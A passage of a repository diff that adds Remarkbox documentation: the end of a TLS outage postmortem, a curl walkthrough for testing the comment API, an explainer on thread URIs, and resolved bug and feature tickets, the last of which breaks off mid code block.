||||||
|
1. **Know which server terminates TLS.** When domains use CNAMEs through a
|
||||||
|
proxy, the proxy must have explicit blocks for those domains. The backend
|
||||||
|
server cannot obtain ACME certs for domains whose DNS points elsewhere.
|
||||||
|
This was the fundamental misunderstanding that prolonged the outage by 5 days.
|
||||||
|
|
||||||
|
2. **Trace the full request path before debugging.** The investigation spent
|
||||||
|
days debugging ACME on the remarkbox server when the problem was on the
|
||||||
|
proxy. A `dig` + understanding of the proxy architecture would have
|
||||||
|
identified this immediately.
|
||||||
|
|
||||||
|
3. **Catch-all blocks mask routing errors.** The proxy's `https://` on-demand
|
||||||
|
TLS catch-all silently absorbed meta/faq requests and routed them to the
|
||||||
|
wrong backend, producing TLS errors instead of a clear "no route" signal.
|
||||||
|
|
||||||
|
4. **Never use explicit `http://` site blocks in Caddy for domains that need
|
||||||
|
auto-HTTPS.** They create a separate HTTP server that hijacks port 80 without
|
||||||
|
the ACME handler.
|
||||||
|
|
||||||
|
5. **`caddy reload` preserves TLS state; `systemctl restart caddy` does not.**
|
||||||
|
Always prefer reload when updating the Caddyfile.
|
||||||
|
|
||||||
|
6. **Let's Encrypt has rate limits that bite during incident response.**
|
||||||
|
Failed Validations: 5 per account per hostname per hour. Caddy fell back
|
||||||
|
to ZeroSSL automatically — a useful safety net.
|
||||||
|
|
||||||
|
## Prevention
|
||||||
|
|
||||||
|
- [ ] When adding CNAME domains that route through the ingress proxy, always
|
||||||
|
add corresponding blocks to `proxy.unturf.com/ingress/Caddyfile`
|
||||||
|
- [ ] Add monitoring/alerting for SSL certificate validity across all domains
|
||||||
|
- [ ] Document the proxy architecture in the remarkbox ops runbook: which
|
||||||
|
domains go through the proxy vs direct
|
||||||
|
|
||||||
|
## Action Items
|
||||||
|
|
||||||
|
- [x] Add meta.remarkbox.com and faq.remarkbox.com to remarkbox Caddyfile
|
||||||
|
- [x] Add meta.remarkbox.com and faq.remarkbox.com to proxy Caddyfile (f12a56d)
|
||||||
|
- [x] Remove explicit HTTP blocks that broke ACME
|
||||||
|
- [x] Add global `{email admin@remarkbox.com}` for ACME registration
|
||||||
|
- [x] Verify all domains serving valid TLS
|
||||||
|
- [x] Push final proxy config
|
||||||
|
- [x] Document in postmortem
|
||||||
264
docs/testing.md
Normal file
|
|
@ -0,0 +1,264 @@
|
||||||
|
# Functional Testing the Remarkbox API
|
||||||
|
|
||||||
|
Walkthrough for testing every endpoint with `curl`. Replace
|
||||||
|
`REMARKBOX` with your deploy URL (e.g. `https://my.remarkbox.com`).
|
||||||
|
|
||||||
|
## Read Endpoints
|
||||||
|
|
||||||
|
### List Threads
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/threads?namespace=meta.remarkbox.com" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Thread
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# grab the first thread id from the list
|
||||||
|
THREAD_ID=$(curl -s "$REMARKBOX/api/v1/threads?namespace=meta.remarkbox.com" \
|
||||||
|
| python3 -c "import sys,json; print(json.load(sys.stdin)['threads'][0]['id'])")
|
||||||
|
|
||||||
|
curl -s "$REMARKBOX/api/v1/threads/$THREAD_ID" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Node
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/nodes/$THREAD_ID" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
## Anonymous Posting
|
||||||
|
|
||||||
|
Requires a namespace with **Allow Anonymous Comments** enabled.
|
||||||
|
|
||||||
|
### Create Thread
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/threads" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{
|
||||||
|
"namespace": "meta.remarkbox.com",
|
||||||
|
"title": "Test thread from curl",
|
||||||
|
"data": "Hello from the API.",
|
||||||
|
"anonymous_name": "CurlBot"
|
||||||
|
}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Reply to Thread
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/threads/$THREAD_ID/replies" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{
|
||||||
|
"data": "Reply from curl.",
|
||||||
|
"anonymous_name": "CurlBot"
|
||||||
|
}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
## Authentication (Email OTP)
|
||||||
|
|
||||||
|
### Request OTP
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/auth/login" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"email": "you@example.com"}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Verify OTP
|
||||||
|
|
||||||
|
Check your inbox for the 6-digit code, then:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/auth/verify" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-c cookies.txt \
|
||||||
|
-d '{"email": "you@example.com", "otp": "123456"}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
The `-c cookies.txt` saves the session cookie for subsequent requests.
|
||||||
|
|
||||||
|
### Create Authenticated Thread
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/threads" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-b cookies.txt \
|
||||||
|
-d '{
|
||||||
|
"namespace": "meta.remarkbox.com",
|
||||||
|
"title": "Authenticated thread",
|
||||||
|
"data": "Posted with a verified session."
|
||||||
|
}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Edit a Node
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X PATCH "$REMARKBOX/api/v1/nodes/$NODE_ID" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-b cookies.txt \
|
||||||
|
-d '{"data": "Updated content."}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
## Multi-Syntax Input
|
||||||
|
|
||||||
|
### Create Thread with RST
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/threads" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-b cookies.txt \
|
||||||
|
-d '{
|
||||||
|
"namespace": "meta.remarkbox.com",
|
||||||
|
"title": "RST thread",
|
||||||
|
"data": "Title\n=====\n\nA paragraph in **reStructuredText**.",
|
||||||
|
"source_format": "rst"
|
||||||
|
}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Reply with HTML
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/threads/$THREAD_ID/replies" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-b cookies.txt \
|
||||||
|
-d '{
|
||||||
|
"data": "<p>A reply in <strong>HTML</strong>.</p>",
|
||||||
|
"source_format": "html"
|
||||||
|
}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
## Export
|
||||||
|
|
||||||
|
### List Available Formats
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/formats" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Export Thread as Markdown
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/threads/$THREAD_ID.md"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Export Thread as PDF
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/threads/$THREAD_ID.pdf" -o thread.pdf
|
||||||
|
```
|
||||||
|
|
||||||
|
### Export Thread as EPUB
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/threads/$THREAD_ID.epub" -o thread.epub
|
||||||
|
```
|
||||||
|
|
||||||
|
### Export Namespace as Book
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/namespace/meta.remarkbox.com.epub" -o meta.epub
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/namespace/meta.remarkbox.com.pdf" -o meta.pdf
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/namespace/meta.remarkbox.com.md"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Export Node Subtree
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/export/nodes/$NODE_ID.html"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Wiki Mode
|
||||||
|
|
||||||
|
### Wiki Edit a Node
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X POST "$REMARKBOX/api/v1/nodes/$NODE_ID/wiki-edit" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-b cookies.txt \
|
||||||
|
-d '{"data": "Updated wiki content."}' | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Revision History
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/nodes/$NODE_ID/revisions" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Get Specific Revision
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/revisions/$REVISION_ID" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
### Diff Revisions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/revisions/$REVISION_ID/diff/$OTHER_REVISION_ID" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
## Themes
|
||||||
|
|
||||||
|
### Get Namespace Theme CSS
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/themes/meta.remarkbox.com/css"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Preview Theme Palette
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/themes/meta.remarkbox.com/preview" | python3 -m json.tool
|
||||||
|
```
|
||||||
|
|
||||||
|
## Error Cases
|
||||||
|
|
||||||
|
### Missing namespace
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/threads" | python3 -m json.tool
|
||||||
|
# {"error": "namespace parameter is required"}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Namespace with API access disabled
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/threads?namespace=opted-out.example.com"
|
||||||
|
# {"error": "API access is disabled for this namespace"}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Edit without auth
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -X PATCH "$REMARKBOX/api/v1/nodes/$NODE_ID" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"data": "nope"}'
|
||||||
|
# {"error": "Authentication required"}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Python Client
|
||||||
|
|
||||||
|
Download the Python client directly from the API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "$REMARKBOX/api/v1/clients/python" -o remarkbox_client.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Or with wget:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
wget -q "$REMARKBOX/api/v1/clients/python" -O remarkbox_client.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Then use it:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from remarkbox_client import RemarkboxClient
|
||||||
|
|
||||||
|
client = RemarkboxClient("https://my.remarkbox.com")
|
||||||
|
threads = client.list_threads("meta.remarkbox.com")
|
||||||
|
for t in threads["threads"]:
|
||||||
|
print(t["title"])
|
||||||
|
```
|
||||||
|
|
||||||
|
See `remarkbox_client.py` header comments for full usage.
|
||||||
90
docs/thread-uri.md
Normal file
|
|
@ -0,0 +1,90 @@
|
||||||
|
# Thread URI: How Comments Are Tied to Page URLs
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
Remarkbox threads are keyed by the **page URL** (called the `thread_uri`).
|
||||||
|
When you embed Remarkbox on a page, the embed script automatically reads
|
||||||
|
`window.location.href` from the parent page and uses it as the thread
|
||||||
|
identifier. All comments posted on that page are stored under that URL.
|
||||||
|
|
||||||
|
This means:
|
||||||
|
|
||||||
|
- Each unique URL gets its own comment thread.
|
||||||
|
- If the same embed snippet appears on two different URLs, each page has
|
||||||
|
its own independent thread.
|
||||||
|
- If you move the embed snippet to a different page (different URL), the
|
||||||
|
new page will show an empty thread because the URL changed.
|
||||||
|
|
||||||
|
## "My Comments Disappeared After Moving the Embed"
|
||||||
|
|
||||||
|
This is the most common cause of "missing" comments. Your comments are not
|
||||||
|
deleted -- they are still stored under the original page URL. You can
|
||||||
|
confirm this by checking the Remarkbox dashboard, where all threads are
|
||||||
|
listed regardless of which page currently has the embed.
|
||||||
|
|
||||||
|
When you move the embed snippet from `https://example.com/old-page` to
|
||||||
|
`https://example.com/new-page`, Remarkbox sees `new-page` as a brand new
|
||||||
|
thread with no comments.
|
||||||
|
|
||||||
|
## How to Preserve Comments When Moving an Embed
|
||||||
|
|
||||||
|
Use the `thread_uri` parameter in your embed snippet to manually set the
|
||||||
|
thread identifier. This overrides the automatic URL detection.
|
||||||
|
|
||||||
|
### Standard Embed (automatic URL detection)
|
||||||
|
|
||||||
|
```html
|
||||||
|
<div id="remarkbox-div">
|
||||||
|
<noscript disabled>
|
||||||
|
<i>JavaScript is required to load the comments.</i>
|
||||||
|
</noscript>
|
||||||
|
</div>
|
||||||
|
<script src="https://my.remarkbox.com/static/js/iframe-resizer/iframeResizer.min.js"></script>
|
||||||
|
<script>
|
||||||
|
var defined_thread_uri = window.location.href;
|
||||||
|
// ...
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pinned Embed (manual thread_uri)
|
||||||
|
|
||||||
|
To keep the same comment thread even after moving the embed, set
|
||||||
|
`defined_thread_uri` to the original page URL:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
// Pin this embed to the original page URL so comments follow the embed
|
||||||
|
var defined_thread_uri = "https://example.com/old-page";
|
||||||
|
// ...
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
With this change, no matter where you place the embed snippet, it will
|
||||||
|
always load and display the comments from `https://example.com/old-page`.
|
||||||
|
|
||||||
|
## When to Use Manual thread_uri
|
||||||
|
|
||||||
|
- **Moving content between URLs**: Pin `thread_uri` to the original URL.
|
||||||
|
- **Staging/production parity**: Use the production URL as `thread_uri`
|
||||||
|
so comments don't split between environments.
|
||||||
|
- **URL canonicalization**: If your site is accessible at both `www.` and
|
||||||
|
non-`www.` URLs, set a canonical `thread_uri` to avoid duplicate threads.
|
||||||
|
- **Single-page applications (SPAs)**: If your SPA changes the URL hash
|
||||||
|
or query string without a full page load, pin `thread_uri` to the
|
||||||
|
canonical path to avoid fragmenting comments.
|
||||||
|
|
||||||
|
## Related: Namespace Settings
|
||||||
|
|
||||||
|
The **Ignore Query String** setting in namespace settings can also help.
|
||||||
|
When enabled, Remarkbox strips query parameters from the URL before
|
||||||
|
matching threads. This prevents URLs like `?utm_source=twitter` from
|
||||||
|
creating separate threads.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| Scenario | What Happens | Fix |
|
||||||
|
|----------|-------------|-----|
|
||||||
|
| Move embed to new URL | New empty thread appears | Set `thread_uri` to original URL |
|
||||||
|
| Same page, URL query changes | May create new thread | Enable "Ignore Query String" in namespace settings |
|
||||||
|
| Same page, URL fragment changes | Fragment is stripped automatically | No action needed |
|
||||||
|
| Different environments (staging/prod) | Separate threads per environment | Set `thread_uri` to canonical production URL |
|
||||||
50
docs/tickets/0.md
Normal file
|
|
@ -0,0 +1,50 @@
|
||||||
|
# T0: User profile leaks comments across namespaces
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: high
|
||||||
|
**Source**: meta `cc62eb06-8e4b-11ea-93cc-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Clicking a username on any site with Remarkbox installed shows ALL that user's comments from every namespace. A commenter on site A can see all their comments from sites B, C, D on the profile page. Russell marked the original thread as fixed, but the code still has no namespace filtering.
|
||||||
|
|
||||||
|
Xii also reported that unapproved comments leaked cross-namespace. The `approved == True` filter in `page_nodes()` now prevents that specific leak, but the cross-namespace exposure remains.
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
`User.page_nodes()` in `remarkbox/models/user.py:266-276` queries all nodes for a user with no namespace filter:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def page_nodes(self, limit=100, offset=0):
|
||||||
|
return (
|
||||||
|
self.nodes.filter(
|
||||||
|
Node.disabled == False, Node.verified == True,
|
||||||
|
Node.user_id != None, Node.approved == True
|
||||||
|
)
|
||||||
|
.order_by(Node.changed.desc())
|
||||||
|
.limit(limit)
|
||||||
|
.offset(offset)
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
The `user_nodes()` view in `remarkbox/views/list_nodes.py:114-137` calls `subject_user.page_nodes()` without passing any namespace context. The same issue affects `verified_nodes`, `unverified_nodes`, `disabled_nodes`, and `unapproved_nodes` properties on the User model.
|
||||||
|
|
||||||
|
## Proposed Fix
|
||||||
|
|
||||||
|
1. Add a `namespace` parameter to `User.page_nodes()` that filters `Node.namespace_id == namespace.id`
|
||||||
|
2. Update `user_nodes()` view to pass `request.namespace` (or derive it from the embed/site context)
|
||||||
|
3. Apply namespace filtering to the other User node properties used in views
|
||||||
|
4. Ensure namespace-specific settings (`hide_unless_approved`, `hide_unverified`) are respected
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/models/user.py` — add namespace filter to `page_nodes()` and related properties
|
||||||
|
- `remarkbox/views/list_nodes.py` — pass namespace context to user queries
|
||||||
|
- `remarkbox/tests/test_views.py` — regression test: user profile only shows same-namespace comments
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] User profile page only shows comments from the current namespace
|
||||||
|
- [x] Namespace moderation settings are respected on the profile page
|
||||||
|
- [x] Regression test prevents reintroduction
|
||||||
58
docs/tickets/1.md
Normal file
|
|
@ -0,0 +1,58 @@
|
||||||
|
# T1: Namespace/URI case-sensitivity causes "stock comments" bug
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: high
|
||||||
|
**Source**: FAQ `7eb0baec-2da1-11ef-b0c7-1f90b6841245`, `6b21e360-ce62-11ef-b298-29ab4fb285a0`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Users embed Remarkbox on their site and see pre-existing comments that don't belong to them ("stock comments"). Two separate FAQ threads report this for sparklingcyber.com and acrosstheborder.blog.
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
Same class of bug as the duplicate email accounts issue (see `docs/postmortem-2026-01-29-duplicate-email-accounts.md`). URIs and namespace names are compared case-sensitively:
|
||||||
|
|
||||||
|
1. `get_uri_by_uri()` in `remarkbox/models/uri.py:82` — `Uri.data == unicode(external_uri)` is case-sensitive
|
||||||
|
2. `get_namespace_by_name()` in `remarkbox/models/namespace.py:363` — `Namespace.name == unicode(name)` is case-sensitive
|
||||||
|
|
||||||
|
When a user visits `https://Example.com/page` vs `https://example.com/page`, two separate URIs, nodes, and potentially namespaces are created. The user on the lowercase variant sees an empty thread (or someone else's comments if they happen to share the same lowercase namespace).
|
||||||
|
|
||||||
|
### Example scenario
|
||||||
|
|
||||||
|
```
|
||||||
|
Time 1: User A embeds on https://Example.com/blog
|
||||||
|
→ Uri "https://Example.com/blog" created
|
||||||
|
→ Namespace "Example.com" created
|
||||||
|
→ Comments posted here
|
||||||
|
|
||||||
|
Time 2: User B visits https://example.com/blog
|
||||||
|
→ Uri lookup for "https://example.com/blog" — no match (case differs)
|
||||||
|
→ New Uri, new Node created
|
||||||
|
→ Namespace "example.com" — no match, new namespace created (empty)
|
||||||
|
→ User B sees no comments or wrong comments
|
||||||
|
```
|
||||||
|
|
||||||
|
## Proposed Fix
|
||||||
|
|
||||||
|
Follow the same pattern as the email fix:
|
||||||
|
|
||||||
|
1. Normalize URIs to lowercase hostname in `get_or_create_uri()` before lookup/storage
|
||||||
|
2. Normalize namespace names to lowercase in `get_or_create_namespace()` before lookup/storage
|
||||||
|
3. Use `func.lower()` for comparisons in lookup functions
|
||||||
|
4. Create a migration/merge script for existing case-variant duplicates (similar to `merge_duplicate_email_users.py`)
|
||||||
|
5. Add regression tests
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/models/uri.py` — lowercase hostname normalization in `get_or_create_uri()`, case-insensitive lookup in `get_uri_by_uri()`
|
||||||
|
- `remarkbox/models/namespace.py` — lowercase normalization in `get_or_create_namespace()`, case-insensitive lookup in `get_namespace_by_name()`
|
||||||
|
- `remarkbox/scripts/merge_duplicate_namespaces.py` — new script to consolidate case-variant duplicates
|
||||||
|
- `remarkbox/tests/test_models.py` — regression tests for case-insensitive URI and namespace matching
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] `https://Example.com/page` and `https://example.com/page` resolve to the same thread
|
||||||
|
- [x] `Example.com` and `example.com` resolve to the same namespace
|
||||||
|
- [x] Existing duplicate namespaces/URIs can be merged with a script
|
||||||
|
- [x] Regression tests prevent reintroduction
|
||||||
47
docs/tickets/10.md
Normal file
|
|
@ -0,0 +1,47 @@
|
||||||
|
# T10: Browser push notifications
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `9b970f14-b1cd-11e7-8fca-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Users and moderators want browser push notifications in addition to email notifications, particularly for pending comments that need moderation approval.
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
Implemented Web Push API with VAPID key support, service worker, subscription management, and integration with the existing notification system.
|
||||||
|
|
||||||
|
### New files
|
||||||
|
|
||||||
|
- `remarkbox/lib/push.py` -- VAPID key management (get_vapid_keys from settings, generate_vapid_keys), push subscription CRUD (get_push_subscriptions, add_push_subscription, remove_push_subscription), send_push_notification and send_push_to_user. Gracefully handles missing pywebpush/py_vapid dependencies with PUSH_AVAILABLE flag.
|
||||||
|
- `remarkbox/views/push.py` -- Three endpoints: GET `/push/vapid-key` (returns VAPID public key), POST `/push/subscribe` (adds push subscription for authenticated user), POST `/push/unsubscribe` (removes push subscription).
|
||||||
|
- `remarkbox/static/js/push-sw.js` -- Service worker handling push events (show notification) and notification clicks (focus/open window).
|
||||||
|
|
||||||
|
### Modified files
|
||||||
|
|
||||||
|
- `remarkbox/models/user.py` -- Added `notification_preference` column (enum: email/push/both/none) and `push_subscriptions` column (JSON-encoded list of Web Push subscription objects).
|
||||||
|
- `remarkbox/routes.py` -- Added push routes: `/push/vapid-key`, `/push/subscribe`, `/push/unsubscribe`.
|
||||||
|
- `remarkbox/lib/notify.py` -- Added `_send_push_for_notification()` function and modified `send_immediate_notifications()` to check user's notification_preference before sending email and to dispatch push notifications.
|
||||||
|
- `remarkbox/templates/user-settings.j2` -- Added notification delivery preference dropdown (email/push/both/none), push subscribe/unsubscribe buttons, and JavaScript for service worker registration and push subscription management.
|
||||||
|
- `remarkbox/views/authenticated/authenticated.py` -- Added notification_preference handling in the user_settings POST handler.
|
||||||
|
- `remarkbox/models/meta.py` -- Added "push" to NOTIFICATION_METHODS set.
|
||||||
|
|
||||||
|
### How it works
|
||||||
|
|
||||||
|
1. Site operator generates VAPID keys using `generate_vapid_keys()` and adds them to the ini config (`push.vapid_private_key`, `push.vapid_public_key`, `push.vapid_contact`).
|
||||||
|
2. User visits settings page, sees "Notification Delivery" dropdown to choose email/push/both/none.
|
||||||
|
3. User clicks "Enable Push Notifications" which registers the service worker, subscribes to the push manager with the VAPID public key, and stores the subscription on the server.
|
||||||
|
4. When a notification is scheduled (reply, moderation event), the system checks the user's preference and sends push notifications via the Web Push protocol in addition to or instead of email.
|
||||||
|
5. Push notifications appear as browser notifications with the thread title, author, and action. Clicking opens the relevant thread.
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
Push notifications require optional packages: `pywebpush` and `py_vapid`. If these are not installed, push functionality is silently disabled and all functions become no-ops.
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Users can subscribe to browser push notifications
|
||||||
|
- [x] Push notifications sent for replies and moderation events
|
||||||
|
- [x] Users can choose between email, push, or both
|
||||||
51
docs/tickets/11.md
Normal file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# T11: Document "comments disappear when moving embed"
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: FAQ `6260e726-d929-11ee-a1b7-751976fc35b2`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
A user moved the Remarkbox embed snippet from one page to another and their comments disappeared from the site (though they still appear on the Remarkbox dashboard). This is expected behavior -- threads are keyed by `thread_uri` (the page URL), so moving the snippet changes the URI and creates a new empty thread. But this isn't documented anywhere.
|
||||||
|
|
||||||
|
## Proposed Fix
|
||||||
|
|
||||||
|
1. Reply to the FAQ thread explaining why this happens and how to fix it (the `thread_uri` parameter in the embed snippet can be set manually to preserve the original URI)
|
||||||
|
2. Add a note to the FAQ or docs about this behavior
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
Documentation added at `docs/thread-uri.md` explaining:
|
||||||
|
- How threads are keyed by page URL (`thread_uri`)
|
||||||
|
- Why comments "disappear" when moving an embed (they are still stored, just under the old URL)
|
||||||
|
- How to use the `thread_uri` parameter to pin comments to a specific URL
|
||||||
|
- When and how to use manual `thread_uri` (moving content, staging/production, SPAs, URL canonicalization)
|
||||||
|
- Related namespace settings like "Ignore Query String"
|
||||||
|
|
||||||
|
## Draft FAQ Reply
|
||||||
|
|
||||||
|
The following reply is ready to post to FAQ thread `6260e726`:
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Your comments are not lost -- they are still stored under the original page URL. You can see them on your Remarkbox dashboard.
|
||||||
|
|
||||||
|
Remarkbox threads are keyed by the page URL (called the `thread_uri`). When you move the embed snippet to a different page, it gets a new URL, so Remarkbox treats it as a new empty thread.
|
||||||
|
|
||||||
|
**To fix this**, set the `thread_uri` manually in your embed snippet to the original page URL:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
var defined_thread_uri = "https://your-site.com/original-page-url";
|
||||||
|
```
|
||||||
|
|
||||||
|
This pins the comment thread to that URL, so your comments will appear no matter where the embed is placed.
|
||||||
|
|
||||||
|
We have added documentation about this behavior at `docs/thread-uri.md` in the Remarkbox repository.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] FAQ thread has a helpful reply
|
||||||
|
- [x] Documentation explains thread_uri behavior when moving embeds
|
||||||
61
docs/tickets/12.md
Normal file
|
|
@ -0,0 +1,61 @@
|
||||||
|
# T12: Reply to API-only CRUD thread confirming done
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `6db01560-7186-11eb-92d6-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
The original "API-only access to CRUD comments" feature request thread on meta still has Russell's old reply: "No endpoints are currently planned." The JSON API has since been built and deployed.
|
||||||
|
|
||||||
|
## Proposed Fix
|
||||||
|
|
||||||
|
Post a reply to the thread announcing the API is live, with a link to the documentation and the Python client download.
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
Reply drafted below. Ready to post to meta thread `6db01560` using the Python client or API.
|
||||||
|
|
||||||
|
## Draft Reply
|
||||||
|
|
||||||
|
The following reply is ready to post to meta thread `6db01560-7186-11eb-92d6-040140774501`:
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Update: a full JSON REST API is now live on Remarkbox.
|
||||||
|
|
||||||
|
**Endpoints available:**
|
||||||
|
|
||||||
|
- `GET /api/v1/threads?namespace=example.com` -- list threads
|
||||||
|
- `GET /api/v1/threads/{id}` -- get a thread with all replies
|
||||||
|
- `POST /api/v1/threads` -- create a new thread
|
||||||
|
- `POST /api/v1/threads/{id}/replies` -- reply to a thread
|
||||||
|
- `GET /api/v1/nodes/{id}` -- get a single node
|
||||||
|
- `PATCH /api/v1/nodes/{id}` -- edit a node (auth required)
|
||||||
|
- `POST /api/v1/auth/login` -- request OTP
|
||||||
|
- `POST /api/v1/auth/verify` -- verify OTP and establish session
|
||||||
|
|
||||||
|
**Authentication** uses the same passwordless email OTP flow as the web UI. Anonymous posting is also supported when the namespace allows it.
|
||||||
|
|
||||||
|
**Python client** is available for download -- no pip install needed, stdlib only:
|
||||||
|
|
||||||
|
```
|
||||||
|
curl -s https://my.remarkbox.com/api/v1/clients/python -o remarkbox_client.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Quick usage:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from remarkbox_client import RemarkboxClient
|
||||||
|
client = RemarkboxClient("https://my.remarkbox.com")
|
